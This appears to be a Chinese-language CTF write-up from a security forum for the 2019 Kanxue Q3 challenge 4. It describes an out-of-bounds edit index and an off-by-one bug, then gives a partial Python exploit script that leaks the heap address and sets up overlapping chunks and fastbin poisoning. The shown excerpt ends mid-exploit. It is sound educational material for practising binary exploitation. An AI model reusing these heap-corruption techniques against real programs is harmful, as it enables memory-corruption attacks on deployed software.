-
-
[原创]【2019看雪CTF】Q3赛季 第四题:卧薪尝胆 WP
-
发表于: 2019-9-25 22:22 5840
-
到写WP的时候回顾这道题,第一反应居然是我什么时候做过这道题,第二个反应是我居然做出来了这道题(我大概是被这10多天的比赛折磨疯了)。于是我翻了翻我的电脑,确认我确实解出了这道题。
这道题漏洞很常规,在edit里不判断下标范围,也存在输入off by one。但是把malloc_hook和free_hook都进行了二次hook,很明显是不让我们用常规的解法,感觉这对我这样学ctf不久的人很不友好。
好在题目为了降低难度,在add函数里直接把heap的地址打印了出来,省了不少事情,而且也可以利用这个特性在分配libc里面的地址时把libc打出来。
因为前半部分没有注意到stdout也在edit的下标范围里,所以前面我很苦逼的用了常规的方式泄露libc
malloc(0x108) #0
p.recvuntil('heap 0 : ')
heap_addr = p.recvline()
heap_addr = int(heap_addr[:-1],16) - 0x10
print 'heap_addr %X' % heap_addr
malloc(0x208) #1
malloc(0x108) #2
malloc(0x108) #3
edit(1, 'A' * 0x1f0 + p64(0x200) + '\n')
free(1)
edit(0, 'B' * 0x108)
malloc(0xf0) #1
malloc(0xf0) #4
free(1)
free(2)
malloc(0x100) #1
malloc(0x68) #2
free(2)
edit(4, '0' * 0x8 + p64(0x71) + p64(heap_addr + 0x290) + '1' * 0x60 + p64(0x71) + p16(0x1aed + offset) + '\n')
malloc(0x68) # 2
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]第十二题 深入内核 4064
- [原创]第十一题 步步逼近 4525
- [原创]第八题 AI核心地带 3454
- [原创] 第七题 智能联盟计划 3623
- 第六题 至暗时刻 10387